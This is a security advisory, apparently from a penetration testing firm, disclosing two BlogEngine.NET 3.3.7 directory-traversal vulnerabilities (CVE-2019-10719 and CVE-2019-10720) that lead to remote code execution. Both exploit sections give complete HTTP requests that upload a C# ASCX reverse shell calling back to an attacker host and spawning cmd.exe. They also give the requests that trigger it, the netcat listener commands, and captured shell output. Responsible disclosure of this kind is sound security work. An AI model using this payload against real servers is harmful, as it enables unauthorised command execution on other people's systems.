BlogEngine.NET Directory Traversal + Remote Code execution

A remote code execution (RCE) vulnerability, CVE-2019-10719, was discovered in BlogEngine 3.3.7 and earlier.

Aaron Bishop
Security Research
Penetration Testing
BlogEngine.NET Directory Traversal + Remote Code execution

CVE-2019-10719

A remote code execution (RCE) vulnerability, CVE-2019-10719, was discovered in BlogEngine 3.3.7 and earlier. Leveraging a path traversal in /api/upload , a malicious file could be written to a directory which would allow it to be accessed and executed. Edit post permissions are required to upload the shell. Anyone can trigger the shell without authentication.

Vendor Patch

Timeline

  • 30 Mar 2019 - Issue Identified
  • 31 Mar 2019 - Developer contacted
  • 04 Apr 2019 - Details of vulnerability sent
  • 17 Jun 2019 - Public Disclosure

Description

BlogEngine.NET allows users to upload files through the /api/upload endpoint. Files uploaded using file, filemgr, or image as the action ultimately call BlogService.UploadFile and create the file:

BlogEngine/BlogEngine.NET/AppCode/Api/UploadController.cs

if (action == "filemgr" || action == "file")
{
 string[] ImageExtensnios = { ".jpg", ".png", ".jpeg", ".tiff", ".gif", ".bmp" };


 if (ImageExtensnios.Any(x => fileName.ToLower().Contains(x.ToLower()))) action = "image";
 else
 action = "file";
}
...
if (action == "image")
{
 if (Security.IsAuthorizedTo(Rights.EditOwnPosts))
 {
 dir = BlogService.GetDirectory(dirName);
 var uploaded = BlogService.
UploadFile(file.InputStream, fileName, dir, true);
 return Request.CreateResponse(HttpStatusCode.Created, uploaded.AsImage.ImageUrl);
 }
}
if (action == "file")
{
 if (Security.IsAuthorizedTo(Rights.EditOwnPosts))
 {
 dir = BlogService.GetDirectory(dirName);
 var uploaded = BlogService.
UploadFile(file.InputStream, fileName, dir, true);
 retUrl = uploaded.FileDownloadPath + "|" + fileName + " (" + BytesToString(uploaded.FileSize) + ")";
 return Request.CreateResponse(HttpStatusCode.Created, retUrl);
 }
}

The dirPath parameter is used to specify a folder the file will be written to. dirPath is vulnerable to directory traversal, allowing files to be written to any directory.

A malicious PostView.ascx can be written to a sub-directory of /Custom/Themes, bypassing the fix for CVE-2019-6714. If the folder does not exist, it will be created and contain the malicious PostView.ascx.

Exploit

The following will upload the file to /Custom/Themes/RCE_Test. RCE_Test will be created if it does not exist:

POST /api/upload?action=filemgr&dirPath=%2f..%2f..%2fCustom%2fThemes%2fRCE_Test HTTP/1.1
Host: $RHOST
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101Firefox/52.0 Accept: text/plain
Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
Cookie: COOKIE
Connection: close
Content-Type: multipart/form-data;
boundary=--------------------------- 12143974373743678091868871063
Content-Length: 2085


-----------------------------12143974373743678091868871063
Content-Disposition: form-data; filename="PostView.ascx"


<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>
<script runat="server">
 static System.IO.StreamWriter streamWriter; protected override void OnLoad(EventArgs e) {
 base.OnLoad(e);
 using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("$LHOST", $LPORT)) {
 using(System.IO.Stream stream = client.GetStream()) {
 using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)){
 streamWriter = new System.IO.StreamWriter(stream) ;
 StringBuilder strInput = new StringBuilder() ;
 System.Diagnostics.Process p = new System.Diagnostics.Process() ;
 p.StartInfo.FileName = "cmd.exe" ;
 p.StartInfo.CreateNoWindow = true ;
 p.StartInfo.UseShellExecute = false ;
 p.StartInfo.RedirectStandardOutput = true ;
 p.StartInfo.RedirectStandardInput = true ;
 p.StartInfo.RedirectStandardError = true ;
 p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler) ;
 p.Start() ;
 p.BeginOutputReadLine() ;


 while(true) {
 strInput.Append(rdr.ReadLine()) ;
 p.StandardInput.WriteLine(strInput);
 strInput.Remove(0, strInput.Length) ;
 }}}}}






private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
 StringBuilder strOutput = new StringBuilder() ;
 if (!String.IsNullOrEmpty(outLine.Data)) {
 try {
 strOutput.Append(outLine.Data) ;
 streamWriter.WriteLine(strOutput) ;
 streamWriter.Flush() ;
 } catch (Exception err) { }
 }
 }
</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false">


Open a  netcat listener, nc -nlvp $LPORT, and browse to the application root with the theme set as RCE_Test:

GET /?theme=RCE_Test HTTP/1.1
Host: $RHOST
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
$nc -nlvp $LPORT
listening on [any] $LPORT ...
connect to [$LHOST] from (UNKNOWN) [$RHOST] 49958

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

CVE-2019-10720

A remote code execution (RCE) attack, CVE-2019-10720, exists on BlogEngine.NET versions 3.3.7 and earlier. A user with privileges to add/upload files could upload a malicious PostView.ascx file and exploit a directory traversal in the theme cookie to trigger the RCE.

Vendor Patch

Timeline

  • Identified: 30 Mar 2019
  • Initial Developer Contact: 31 Mar 2019
  • Issue Disclosed: 17 Jun 2019

Description

The application will use the theme cookie if the theme parameter is not set:

BlogEngine.Core/BlogSettings.cs

413  public string Theme
414  {
415  get
416  {
417  var context = HttpContext.Current;
418  if (context != null)
419  {
420  var request = context.Request;
421  if (request.QueryString["theme"] != null)
422  {
423  return request.QueryString["theme"];
424  }
425
426                     var cookie = request.Cookies[this.ThemeCookieName];
427  if (cookie != null)
428  {
429  return cookie.Value;
430                     }

The theme cookie is vulnerable to a directory traversal; the theme cookie can be set to a folder that contains a malicious PostView.ascx, such as .../../App_Data/files. The malicious code contained in PostView.ascx will be executed.

Exploit

A malicious file can be uploaded using File Manager in the application, /api/upload?action=file, or /api/upload?action=filemgr. In the following example /api/upload?action=file is used to upload the malicious PostView.ascx file:

POST /api/upload?action=file HTTP/1.1
Host: $RHOST
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/plain
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: XXX
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------12143974373743678091868871063
Content-Length: 2085


-----------------------------12143974373743678091868871063
Content-Disposition: form-data; filename="PostView.ascx"


<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>


<script runat="server">
    static System.IO.StreamWriter streamWriter;
 protected override void OnLoad(EventArgs e) {
        base.OnLoad(e);
 using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("$LHOST", $LPORT)) {
 using(System.IO.Stream stream = client.GetStream()) {
 using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
 streamWriter = new System.IO.StreamWriter(stream);
                    StringBuilder strInput = new StringBuilder();
 System.Diagnostics.Process p = new System.Diagnostics.Process();
 p.StartInfo.FileName = "cmd.exe";
 p.StartInfo.CreateNoWindow = true;
 p.StartInfo.UseShellExecute = false;
 p.StartInfo.RedirectStandardOutput = true;
 p.StartInfo.RedirectStandardInput = true;
 p.StartInfo.RedirectStandardError = true;
 p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
 p.Start();
 p.BeginOutputReadLine();


 while(true) {
 strInput.Append(rdr.ReadLine());
 p.StandardInput.WriteLine(strInput);
 strInput.Remove(0, strInput.Length);
 }
 }
 }
 }
 }


 private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
 StringBuilder strOutput = new StringBuilder();


 if (!String.IsNullOrEmpty(outLine.Data)) {
 try {
 strOutput.Append(outLine.Data);
 streamWriter.WriteLine(strOutput);
 streamWriter.Flush();
 } catch (Exception err) { }
 }
 }
</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>


-----------------------------12143974373743678091868871063--

Open a  netcat listener, nc -nlvp $LPORT, and browse the application with the theme cookie set as ../../App_Data/files/2019/06/, no authentication required.  The Code Execution triggers and opens a reverse shell:

GET / HTTP/1.1
Host: $LHOST
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: theme=
../../App_Data/files/2019/06;
Connection: close
Upgrade-Insecure-Requests: 1

$nc -nlvp $LPORT    
listening on [any] $LPORT ...
connect to [$LHOST] from (UNKNOWN) [$RHOST] 49822
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
ipconfig
C:\Windows\system32>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:

Join Thousands of Security Professionals.

Subscribe Now

Get the Guide To PCI Compliance

Download

Get a Quote for Data Security

Request a Quote